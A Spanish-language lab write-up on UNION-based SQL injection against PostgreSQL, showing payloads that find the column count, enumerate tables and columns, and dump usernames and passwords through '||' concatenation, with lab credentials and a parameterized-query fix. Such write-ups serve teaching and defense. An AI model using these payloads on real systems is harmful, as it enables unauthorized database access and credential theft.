← Writeups

UNION-based SQLi: concatenación username||':'||password en una sola columna (PostgreSQL)

Exfiltración de múltiples valores en una única columna string con UNION-based SQLi: concatenación || en PostgreSQL para volcar username y password de users.

1. Target Overview & Vulnerability Summary

La query del filtro de categoría tiene 2 columnas y solo la segunda acepta strings. Al ser insuficiente para proyectar username y password en columnas separadas, se usa la concatenación || del dialecto PostgreSQL para empaquetar ambos campos en la única columna de salida — variante canónica del UNION-based SQLi.

Severidad Endpoint vulnerable Root cause
High GET /filter?category=... Concatenación de category en la cláusula WHERE; resultados reflejados en la respuesta

2. Technical Breakdown & Exploitation Flow

2.1 Aridad y columna string

' UNION SELECT NULL,'a'-- -

Sin error → 2 columnas, la segunda acepta strings. version() confirma PostgreSQL.

2.2 Enumeración de tablas

' UNION SELECT NULL,table_name FROM information_schema.tables-- -

Salida: la tabla users.

2.3 Enumeración de columnas de users

' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'-- -
email
password
username

2.4 Volcado con concatenación en una sola columna

username y password se concatenan con || ':' || dentro de la segunda columna:

' UNION SELECT NULL,username||':'||password FROM users-- -
administrator:k7dr5fc7sx5aybvopmre
wiener:f0x5ym3z4msuy6amiyvp
carlos:dz52zjs8pkwm09s6hal1

Login como administrator para resolver el lab.

3. Root Cause Analysis

La query original expone una única columna string:

SELECT column1, column2 FROM products WHERE category = 'Gifts'

Cuando el número de columnas strings no alcanza para los campos a exfiltrar, el operador de concatenación || de PostgreSQL combina múltiples columnas en una sola celda, que el motor cast a string implícitamente al ser destino de la concatenación. El delimitador : actúa como separador parseable. Es el patrón estándar cuando hay un solo hueco de texto en la query víctima.

4. Secure Remediation

Parametrización de la query:

String sql = "SELECT column1, column2 FROM products WHERE category = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, category);

Defensa en profundidad: rol de BD sin acceso a information_schema ni a la tabla users; aislar credenciales en schema distinto del público.